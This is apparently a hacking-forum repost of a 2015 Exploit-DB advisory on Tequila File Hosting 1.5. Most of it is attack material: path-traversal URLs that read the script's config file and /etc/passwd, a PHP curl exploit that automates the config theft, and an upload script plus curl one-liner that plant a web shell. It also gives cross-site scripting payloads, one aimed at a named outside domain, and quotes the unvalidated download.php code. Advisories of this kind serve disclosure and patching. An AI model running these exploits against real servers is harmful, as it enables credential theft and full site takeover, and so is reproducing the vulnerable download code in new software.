Exploit Tequila File Hosting 1.5 - Multiple Vulnerabilities

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
38984
Проверка EDB
  1. Пройдено
Автор
ASHIYANE DIGITAL SECURITY TEAM
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
null
Дата публикации
2015-12-15
Tequila File Hosting 1.5 - Multiple Vulnerabilities
Код:
================================================================================
Tequila File Hosting Arbitrary File Download
================================================================================
# Vendor Homepage: http://codecanyon.net/item/tequila-file-hosting-script/7604312
# Date: 16/12/2015
# Author: Ashiyane Digital Security Team
# Version: 1.5
# Contact: [email protected]
# Source: http://ehsansec.ir/advisories/tequila-disclose.txt
================================================================================
# Description:
Tequila is a solid, safe, fast, simple and intuitive script which
allows companies or individuals to upload, manage and share their
files online. It is studied in every feature and was produced with
attention to every detail.

# PoC :

# Download Config
http://localhost/tequila/download.php?download.php?filename=files/../include/php/constants.php&name=file.php

# Download passwd
http://localhost/tequila/download.php?filename=files/../../../../../etc/passwd&name=passwd


# (PHP Exploit):

	<?php
	// page : download.php
	echo "Tequila File Hosting Arbitrary File Download Exploiter\n";
	echo "Discoverd By Ehsan Hosseini\n\n\n";
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL,
"http://SERVER/download.php?filename=files/../include/php/constants.php&name=file.php");
	curl_setopt($ch, CURLOPT_HTTPGET, 1);
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
	$buf = curl_exec ($ch);
	curl_close($ch);
	unset($ch);
	echo $buf;
	?>

# Vulnerabile code:

	<?php
	//This script forces the download of the file

	//Retrieving the file name from the querystring
	//and the stepping stone path to the download folder
	$fn          = (isset($_GET['filename']) ? $_GET['filename'] : false);
	$file        = $fn;
	$sn          = (isset($_GET['name']) ? $_GET['name'] : false);
	$secure_name = $sn;

	if (strpos($file, "files/") !== false) {
	    $checkdownload = "true";
	} else {
		$checkdownload = "false";
	}

	//I verify that the file exists
	if($checkdownload == "true"){
		if (!file_exists($file)) {
			//If there is mold an error
			echo "The file does not exist!";
		} else {
			//If the file exists ...
			//Imposed on the header of the page to force the download of the file
			header("Cache-Control: public");
			header("Content-Description: File Transfer");
			header('Content-Type: application/zip');
			header("Content-Disposition: attachment; filename= " . $secure_name);
			header("Content-Transfer-Encoding: binary");
			header('Connection: Keep-Alive');
			header('Expires: 0');
			header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
			header('Pragma: public');
			//I read the contents of the file
			readfile($file);
			exit;
		}
	}
	?>

#######################################################################

================================================================================
Tequila File Hosting Unrestricted File Upload
================================================================================

# PoC :
First register in the site===>
http://localhost/tequila/register.php

Next using this exploit :

    <?php
    // page : upload.php
    $postData = array('folder' => '/username', 'file' => '@shell.php');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://localhost/tequila/upload.php");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );
    $buf = curl_exec ($ch);
    curl_close($ch);
    unset($ch);
    echo $buf;
    ?>

or

    curl -i -F folder='/ehsann' -F [email protected]
http://localhost/tequila/upload.php

Sheller uploaded.

Path of shell : http://localhost/tequila/files/username/shell.php

#######################################################################

================================================================================
Tequila File Hosting Coss Site Scripting
================================================================================

# PoC :
http://localhost/files.php?folder="><script>alert('Ehsan')</script>
http://easyhost.me/file.php?file="><script>alert('Ehsan')</script>

================================================================================
# Discovered By : Ehsan Hosseini (EhsanSec.ir)
================================================================================
 
Источник
www.exploit-db.com

Похожие темы